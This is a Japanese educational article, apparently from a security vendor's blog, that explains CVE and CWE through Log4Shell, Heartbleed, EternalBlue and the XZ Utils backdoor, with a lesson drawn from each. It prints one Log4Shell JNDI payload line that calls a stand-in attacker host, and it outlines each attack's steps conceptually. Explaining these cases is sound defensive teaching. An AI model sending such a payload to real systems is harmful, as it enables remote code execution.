CVEとは?Log4Shell・Heartbleed・EternalBlue・XZ Utilsで学ぶ有名な脆弱性
CVE番号とは何かをまず押さえ、歴史に残る4つの脆弱性を「何が起きたのか」「なぜ起きたのか」の両面から読み解きます。
CVEとは何か
CVE(Common Vulnerabilities and Exposures)は、公表されたソフトウェアの脆弱性1件ごとに
付けられる共通の識別番号です。CVE-西暦-通し番号 という形式で、
たとえば CVE-2021-44228 のように書きます。米国の非営利団体 MITRE が制度を運営し、
各ベンダーや調整機関(CNA: CVE Numbering Authority)が番号を割り当てます。
なぜ共通番号が必要かというと、同じ脆弱性を各社がバラバラの名前で呼ぶと、 「自社の製品が影響を受けるのか」「パッチは出ているのか」を照合できなくなるからです。 CVE番号があれば、ニュース記事・ベンダーの注意喚起・脆弱性スキャナ・パッチ情報を 1つの番号で突き合わせられます。MIKAGE NET のような脆弱性診断ツールも、 検出した問題をCVE番号で報告します。
CWEとの関係
CVEが「個別の事件」だとすれば、CWE(Common Weakness Enumeration)は 「脆弱性の種類」のカタログです。たとえば「境界外書き込み(CWE-787)」「SQLインジェクション(CWE-89)」 のように、弱点のパターンに番号が振られています。1つのCVEは、根本原因として1つ以上のCWEに分類されます。 以下で見る4つの事件も、それぞれ典型的なCWEに対応しています。
Log4Shell(CVE-2021-44228)
2021年12月に公表された、Javaのログ出力ライブラリ Apache Log4j 2 の脆弱性です。 CVSSは最高値の10.0。影響範囲の広さと悪用の容易さから、近年で最も深刻な脆弱性の1つとされました。
何が問題だったか
Log4j 2 には、ログに書き込む文字列の中の ${...} という記法を解釈して展開する
機能(ルックアップ)がありました。その中の JNDI ルックアップを悪用すると、攻撃者が仕込んだ文字列を
ログに記録させるだけで、外部サーバから任意のコードを読み込ませて実行できました。
攻撃者が送る文字列(例: User-Agent やチャット欄などに):
${jndi:ldap://attacker.example/a}
↓ アプリがこれをログ出力しようとする
↓ Log4j が ${...} を「展開すべき指示」として解釈
↓ attacker.example の LDAP サーバへ接続
↓ 返ってきた Java クラスを読み込んで実行(RCE)
恐ろしいのは、攻撃者が特別な権限を必要とせず、「ログに残る場所に文字列を送り込む」だけで 成立した点です。Webの入力欄、HTTPヘッダ、ゲームのチャットなど、ログに記録されうるあらゆる経路が 入口になりえました。これは本質的に「データ」として扱うべき入力を「命令」として解釈してしまった インジェクションの一種(CWE-917: 式言語インジェクション)です。
教訓
「ログ出力は安全な操作だ」という思い込みが崩れた事件でした。入力をどこかに記録するだけでも、 その先で入力が解釈されるなら危険になりえます。対策はLog4jのアップデートと、 ルックアップ機能の無効化でした。
Heartbleed(CVE-2014-0160)
2014年に公表された、広く使われている暗号ライブラリ OpenSSL の脆弱性です。 TLS/DTLSの「ハートビート」拡張の実装にあったバグで、サーバのメモリ内容が外部に漏れました。
何が問題だったか
ハートビートは「このデータを送るので、そのまま送り返して」と接続の生存確認をする仕組みです。 リクエストには「送り返すデータ」と「その長さ」が含まれますが、OpenSSLは送られてきた 実際のデータ長を確認せず、リクエストが主張する長さの分だけメモリをコピーして返していました。
攻撃者のリクエスト:
データ = "hi" (実際は2バイト)
長さ = 65535 と主張
↓ サーバは長さ 65535 を信用する
↓ "hi" を置いたメモリ位置から 65535 バイトを読み出して返信
↓ "hi" の後ろにある他のメモリ領域(最大約64KB)が漏洩
↓ そこに秘密鍵・パスワード・セッション情報が含まれることも
これは境界チェックの欠落による範囲外読み取り(CWE-125: Out-of-bounds Read)の典型です。
前の記事の式でいえば、∀ アクセス a[i] : 0 ≤ i < len(a) という
メモリ安全性の条件が破られていました。
攻撃は何の痕跡も残さず、サーバのログにも記録されないため、いつ誰に鍵を抜かれたか分からないのが
特に深刻でした。
教訓
「相手が申告した長さを検証せずに信用してはいけない」という、メモリ安全性の基本が守られていませんでした。 世界中のサーバが影響を受け、秘密鍵の再発行・証明書の更新・パスワード変更が一斉に必要になりました。
EternalBlue(CVE-2017-0144)
Windowsのファイル共有プロトコル SMBv1 にあった脆弱性です。 マイクロソフトは2017年3月の月例更新 MS17-010 で修正しましたが、 その後に流出した攻撃ツールを組み込んだランサムウェア WannaCry が、 2017年5月に世界中で大規模な被害を引き起こしました。
何が問題だったか
SMBv1 の古い要求を処理する部分に、データのサイズ計算を誤るバグがあり、攻撃者が細工した パケットを送ると、本来書き込むべき範囲を超えてメモリに書き込めました(バッファオーバーフロー、 CWE-787: Out-of-bounds Write)。これを足がかりに、認証なしで任意コードを実行できました。
攻撃者 → 細工したSMBv1パケットを送信(認証不要)
↓ SMBドライバがサイズ計算を誤りメモリを範囲外に書き込み
↓ カーネル権限で任意コード実行
↓ 同じ脆弱性を持つLAN内の他PCへ自動的に伝播(ワーム化)
WannaCryが被害を広げたのは、EternalBlueを自己増殖(ワーム)に使ったためです。 1台が感染すると、同じネットワーク上のパッチ未適用のPCへ次々と感染が広がりました。 パッチ自体は被害の2か月前に公開されていたにもかかわらず、適用が進んでいなかったことが 被害を拡大させました。
教訓
「パッチは出ているのに当てていない」状態がいかに危険かを示した事件です。また、古くなった プロトコル(SMBv1)を使い続けること、ネットワーク内部が無防備だと1台の感染が全体に広がること、 というネットワーク側のリスクも浮き彫りになりました。
XZ Utils バックドア(CVE-2024-3094)
2024年に発覚した、Linuxで広く使われる圧縮ユーティリティ XZ Utils(liblzma)に 意図的に仕込まれたバックドアです。これまでの3つが「うっかりのバグ」だったのに対し、 これはサプライチェーン攻撃──信頼される部品そのものに悪意を忍ばせる攻撃でした。
何が問題だったか
攻撃者は数年かけてXZ Utilsプロジェクトに「熱心な貢献者」として参加し、 次第に信頼を得てメンテナ権限に近づきました。そして、公開リポジトリのソースコードには 現れない形で、配布用のリリースtarballにだけ悪意あるコードを紛れ込ませました。
悪意あるコードの隠し方:
・GitHub上の読めるソースには入れない
・リリース用tarball内のビルドスクリプトと
「テスト用」に見せかけたバイナリデータに分割して隠す
・ビルド時にそれらが組み合わさり liblzma に注入される
影響:
・liblzma を間接的に読み込む sshd(SSHサーバ)が標的
・特定の鍵を持つ攻撃者だけが認証を回避できる作り
→ 気づかれにくい遠隔侵入の裏口
これが大惨事を免れたのは、ある開発者がSSHログインがわずかに遅くなった(約0.5秒)ことを 不審に思って調査し、広く安定版に取り込まれる直前に発見したためでした。 紙一重の幸運でした。分類上は CWE-506(埋め込まれた悪意あるコード)にあたります。
教訓
コードそのものにバグがなくても、「信頼」そのものが攻撃対象になることを示しました。 オープンソースの「公開されているソース」と「実際に配布されるもの」が一致している保証、 ビルドの再現性、メンテナが少数に依存する構造のリスク──といった、 ソフトウェアの作られ方・届き方への注目を一気に高めた事件です。
4つの事件を並べてみる
| 名称 / CVE | 対象 / 種類(CWE) / 本質 |
|---|---|
| Log4Shell CVE-2021-44228 | Apache Log4j 2 / 式言語インジェクション(CWE-917) 「データ」のはずの入力が「命令」として解釈された |
| Heartbleed CVE-2014-0160 | OpenSSL / 範囲外読み取り(CWE-125) 申告された長さを検証せず、他人のメモリを読み出した |
| EternalBlue CVE-2017-0144 | Windows SMBv1 / 範囲外書き込み(CWE-787) サイズ計算の誤りで範囲外に書き込み、ワーム化した |
| XZ Utils CVE-2024-3094 | XZ Utils (liblzma) / 埋め込まれた悪意あるコード(CWE-506) 部品への「信頼」を突いたサプライチェーン攻撃 |
前半2つはメモリ安全性、Log4Shellはインジェクション、XZは信頼そのものと、 脆弱性の形式化の記事で見た 「種類ごとに安全性の定義が変わる」ことが、実例でもそのまま現れています。
まとめ
- CVEは公表された脆弱性1件ごとの共通識別番号(
CVE-年-番号)。深刻度の数値はCVSS、弱点の種類はCWE - Log4Shell: ログ出力の文字列が命令として解釈され、任意コード実行に至った
- Heartbleed: 長さの検証漏れで、サーバのメモリ(秘密鍵を含む)が漏洩した
- EternalBlue: SMBv1のバッファオーバーフローが、WannaCryによってワーム化した
- XZ Utils: 信頼を悪用して部品に仕込まれたバックドア(サプライチェーン攻撃)
- 自分のPC・ネットワークにこうした既知の脆弱性が残っていないかは、MIKAGE NETで確認できます